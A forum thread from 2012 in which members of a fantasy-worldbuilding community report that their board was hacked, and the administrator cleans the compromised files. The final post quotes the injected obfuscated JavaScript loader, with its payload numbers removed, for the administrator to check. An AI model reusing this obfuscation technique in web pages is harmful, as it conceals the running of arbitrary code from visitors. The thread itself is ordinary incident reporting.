* 
Welcome Guest. Please login or register.
Did you miss your activation email?


*
gfxgfx Home Forum Help Search Login Register   gfxgfx
gfx gfx
gfx
Pages: [1] 2
Print
Author Topic: Has the RPG Board been hacked?  (Read 4190 times)
0 Members and 1 Guest are viewing this topic.
Rayne (Alýr)
Dreamress
Santh. Member
***

Gained Aura: 117
Offline Offline

Gender: Female
Posts: 4.466



View Profile
« on: 14 February 2012, 22:14:19 »

I'm getting a fatal error when I try to access it:

Quote
Fatal error: Cannot redeclare security_update() (previously declared in /home/santha5/public_html/adv/Sources/Load.php(1743) : eval()'d code:1) in /home/santha5/public_html/adv/Sources/Load.php(1743) : eval()'d code on line 1

I first got the message last night, and I'm still getting it this morning. Does anyone else get this message when they access the RPG Boards?
Logged

"There is much misjudgment in the world. Now, I knew you for a unicorn when I first saw you, and I know that I am your friend. Yet you take me for a clown, or a clod, or a betrayer, and so I must be if you see me so. The magic on you is only magic and will vanish as soon as you are free, but the enchantment of error that you put on me I must wear forever in your eyes. We are not always what we seem..." -Schmendrick the Magician, The Last Unicorn
Athviaro Shyu-eck-Silfayr
Aspiring Member
**

Gained Aura: 64
Offline Offline

Posts: 857



View Profile
« Reply #1 on: 14 February 2012, 22:56:23 »

According to the shoutbox, Dek and I both got it. Unfortunately Arti's an absent one at the moment (clumsy, but I couldn't resist the Artisan joke *quails in fear and runs from the flaming eyes of people with good senses of humour*)

Anyway, yes. Precisely the same error.

Ath
Logged

"I don't care what you did as a boy."
"Well, I did nothing as a girl, so there goes my childhood." - Ginger Rogers and Fred Astaire, The Gay Divorcee, 1934.
The Life and Works of Athviaro Shyu-eck-Silfayr
Kalta'hnk - My ramblings on anything to do with the Glandorians - The Glandorian Men (Proposal)
Valan Nonesuch
Santh. Member
***

Gained Aura: 113
Offline Offline

Gender: Male
Posts: 1.510


Like a pudding bag full of knives


View Profile
« Reply #2 on: 14 February 2012, 22:57:27 »

Same message I think, posted for the sake of comparison
Quote
Fatal error: Cannot redeclare security_update() (previously declared in /home/santha5/public_html/adv/Sources/Load.php(1743) : eval()'d code:1) in /home/santha5/public_html/adv/Sources/Load.php(1743) : eval()'d code on line 1[/qupte]
Logged

Beyond the horizon where the earth and the heavens meet
lies a certain point where they are not joined together and where, by stooping,
one might pass under the roof of the heavens.
Mina
Santh. Member
***

Gained Aura: 63
Offline Offline

Posts: 2.834



View Profile
« Reply #3 on: 14 February 2012, 23:49:20 »

There is apparently some sort of script on that page.  The code seems to match the one shown on this site.  I have no idea what it does though. 
Logged

Irid alMenie
Santh. Member
***

Gained Aura: 46
Offline Offline

Gender: Female
Posts: 959



View Profile
« Reply #4 on: 15 February 2012, 01:41:27 »

I have it too. Started replying in the shout box but didn't for some reason.
Logged

Stat rosa pristina nomine, nomina nuda tenemus.
Irid al'Menie
Rayne (Alýr)
Dreamress
Santh. Member
***

Gained Aura: 117
Offline Offline

Gender: Female
Posts: 4.466



View Profile
« Reply #5 on: 15 February 2012, 05:39:27 »

I searched for the error and found Artimidor's old posts on a forum from when the Developer's forum had this issue. Created an account, posted the issue, and got a reply: here's the thread. However, as I'm not an administrator, I've more or less done all I can do at this point. From here, we'll have to wait for Artimidor or Altario.
Logged

"There is much misjudgment in the world. Now, I knew you for a unicorn when I first saw you, and I know that I am your friend. Yet you take me for a clown, or a clod, or a betrayer, and so I must be if you see me so. The magic on you is only magic and will vanish as soon as you are free, but the enchantment of error that you put on me I must wear forever in your eyes. We are not always what we seem..." -Schmendrick the Magician, The Last Unicorn
Kareesh Valendar
Aspiring Member
**

Gained Aura: 2
Offline Offline

Gender: Female
Posts: 381



View Profile
« Reply #6 on: 15 February 2012, 07:29:44 »

When I tried to access it today, my AVG said that there was a threat on the page. It says "Virus found JS/Obfuscated".
Logged

Deklitch Hardin
Santh. Member
***

Gained Aura: 103
Offline Offline

Gender: Male
Posts: 1.761


Elf friend


View Profile
« Reply #7 on: 15 February 2012, 07:58:51 »

It sounds to me like it is more of an Artimidor job than an Altario one. That definitely seems like a virus and porbably needs the expertise of our dear webmaster. Knowing how to fix up something like that would be way beyond my skills. :)
Logged

"And pray that there's intelligent life somewhere out in space, because there's none at all down here on Earth." - Monty Python's The Meaning of Life
Altario Shialt-eck-Gorrin
Santh. Member
***

Gained Aura: 143
Offline Offline

Gender: Male
Posts: 2.418


The Remusian


View Profile
« Reply #8 on: 15 February 2012, 09:58:14 »

I can't get on either.  And I have no extra powers on this side.  I thought it was just me, as it had happened to me before when I changed my Theme.

Heh, when I can't play, no one gets to play. :P
Logged

"Lather...Rinse...Repeat"   Why has God made my life so complicated?

This is what I'm working on
Artimidor Federkiel
Administrator
*****

Gained Aura: 538
Offline Offline

Gender: Male
Posts: 23.098



View Profile Homepage
« Reply #9 on: 15 February 2012, 20:44:28 »

Definitely hacked. Can't fix it from my office, though, but will see to it this evening!
Logged



"Between the mind that plans and the hands that build there must be a mediator, and this must be the heart." -- Maria (Metropolis)
Artimidor Federkiel
Administrator
*****

Gained Aura: 538
Offline Offline

Gender: Male
Posts: 23.098



View Profile Homepage
« Reply #10 on: 16 February 2012, 01:13:42 »

Ok... Problem should be fixed now again - please report if you still notice a problem somewhere!
Logged



"Between the mind that plans and the hands that build there must be a mediator, and this must be the heart." -- Maria (Metropolis)
Mina
Santh. Member
***

Gained Aura: 63
Offline Offline

Posts: 2.834



View Profile
« Reply #11 on: 16 February 2012, 02:32:05 »

Clicking the "Forum" button gives a similar error page.  Individual threads are still accessible if you have a link to them though. 

The script I mentioned is still present as well.  You can see it if you use "view source" and scroll to the bottom.  Not quite sure what happened, but it might have been inserted into some file that is loaded by all the forum pages, because it seems to be on every page.  Maybe index.php, since that's the one all the URLs show. 

Also, the banner at the top of the forum leads to the dev board. 
« Last Edit: 16 February 2012, 02:45:23 by Mina » Logged

Irid alMenie
Santh. Member
***

Gained Aura: 46
Offline Offline

Gender: Female
Posts: 959



View Profile
« Reply #12 on: 16 February 2012, 03:35:42 »

I don't see any problems anymore... Thank you Arti!  heart Aura for you!
Logged

Stat rosa pristina nomine, nomina nuda tenemus.
Irid al'Menie
Artimidor Federkiel
Administrator
*****

Gained Aura: 538
Offline Offline

Gender: Male
Posts: 23.098



View Profile Homepage
« Reply #13 on: 16 February 2012, 03:39:08 »

@Mina: I see... These idiots of course also went for various subfolders, so I've replaced these files now as well with versions from the Dev Board. The Forum page displays again, banner pic and link are fixed. Thanks for reporting!

If you still notice something strange behaviour, let me know, but I should have gotten all troublemaking files now...
Logged



"Between the mind that plans and the hands that build there must be a mediator, and this must be the heart." -- Maria (Metropolis)
Mina
Santh. Member
***

Gained Aura: 63
Offline Offline

Posts: 2.834



View Profile
« Reply #14 on: 16 February 2012, 03:55:02 »

I still see the extra code when I check, but I'm not sure if it's really there or if my browser isn't refreshing properly.  Could you check it again just in case? 

For reference, here's what it looks like:  (extremely long line of numbers removed to avoid distorting the post)

Code:
<script>

(function($$,_2,_1,doc,tk) {

var xo="";

function qq2(cid){cid=~~cid;return ["L", (extremely long line of numbers) ];}



function co() {

return 'Code';

}

function gafu() {

xxx=a(String, 'f' + ro() + co());

return function(q){return xxx(q);};

};

rex = [gafu(),gafu()];





function choo(k) {

if (k < 9) {

return 1

} else {

return 2

}

};



d = '';

mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2,8,2,10,2,11,2,12,2,13,2,14,2,15,2,17,2,18,2,19,2,20,2,21,2,22,2,23,2,24,2,25,2,26,2,27,2,28,2,29];

map = ''; xo = doc;



function fs(ro, arr, add, st, en,dp) {

//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem

var hf = ((en+st)>>1);

if(en-st>16)

{

//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis

return fs(ro, arr, add, st, hf,dp+1) + fs(ro,arr, add, hf, en,dp+1);

}else{

var rt='';rx1=rex[add-29];

for(var rj=st;rj<en;rj++){

if(typeof arr[rj]!='string'){

rt+=rx1(arr[rj]+add);}

}

//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi

return rt;

}

}

map += fs(map, mapper, 30, 0,mapper.length);

//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland



function a(b, c) {

return b[c];

};



function ro() {

return 'romChar';

}

rd=fs(d, qq2(6-tk.length), 30, 0, qq2().length);

//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur

try{

$$(_1(map,rd,choo,_2).replace('?n','in'));}catch(e){}

})(function(jsBb) {

return (function(jsB, jsBs) {

return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()

})((function(jsB) {

return jsB.constructor

}), (function(jsB) {

return (function(jsBs) {

//accumsan dapibus diam

return jsB.call(jsB, jsBs)

})

}))

},function(tt){return tt.pop();},

function(kk,dd,ch,pp){

for(var c=kk.length;c>0;){

var x=ch(c);

c-=x;

var rep=kk.substr(c, x);

//accumsan dapibus diam

var t = dd.split(rep);

dd=t.join(pp(t));

};return dd;

},document,document.getElementsByTagName('title'));

/**/

if(typeof gloa=='function')gloa();

</script>
Logged

Pages: [1] 2
Print
Jump to:  

Recent
[17 September 2019, 22:01:36]

[27 March 2019, 00:01:57]

[21 June 2018, 14:28:00]

[31 May 2017, 06:35:55]

[06 May 2017, 05:27:04]

[26 March 2017, 12:48:25]

[15 March 2017, 02:23:07]

[15 March 2017, 02:20:28]

[15 March 2017, 02:17:52]

[14 March 2017, 20:23:43]

[06 February 2017, 04:53:35]

[31 January 2017, 08:45:52]

[15 December 2016, 15:50:49]

[26 November 2016, 23:16:38]

[27 October 2016, 07:42:01]

[27 September 2016, 18:51:05]

[11 September 2016, 23:17:33]

[11 September 2016, 23:15:27]

[11 September 2016, 22:58:56]

[03 September 2016, 22:22:23]
Members
Total Members: 1087
Latest: aimeusdietger
Stats
Total Posts: 144684
Total Topics: 11053
Online Today: 78
Online Ever: 226
(06 November 2012, 05:38:23)
Users Online
Users: 0
Guests: 84
Total: 84

Last 10 Shouts:
22 February 2019, 06:47:10
A delightful 2019 shout-out to you all ^^
21 November 2018, 23:39:14
Seems none of us can stay away ..
09 March 2018, 23:37:46
Dream goes on as long as there are dreamers my friend.
17 January 2018, 01:23:22
Oh, how I wish we could reawaken the Dream :)
16 January 2018, 11:55:48
Hello everyone!
14 September 2017, 09:40:04
Hello all! It's been a minute since I poked my nose in here. Can't remember if I ever did anything useful.
09 May 2017, 14:17:18
Ah, too bad that internet is so restricted in China, Ferra. Can't be much fun surfing the web that way if Big Brother's watching you... Hope you enjoy your stay nevertheless!
03 May 2017, 17:41:19
Hi, dear Arti and other developers!

This year I am in China and cannot use any Google services including YouTube. For this reason I stopped uploading new Nepris videos. I can also not read any comments there.

It just crossed my mind that this information might be useful to you.

Cheers

F
26 March 2017, 12:48:56
Hello to anyone that might read this. :)
22 December 2016, 02:38:16
Merry Christmas everyone!
Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2005, Simple Machines
TinyPortal v0.9.8 © Bloc
Valid XHTML 1.0! Valid CSS!
Theme based on Cerberus with Risen adjustments by Bloc and Krelia
Modified By Artimidor for The Santharian Dream
gfx
gfxgfx gfxgfx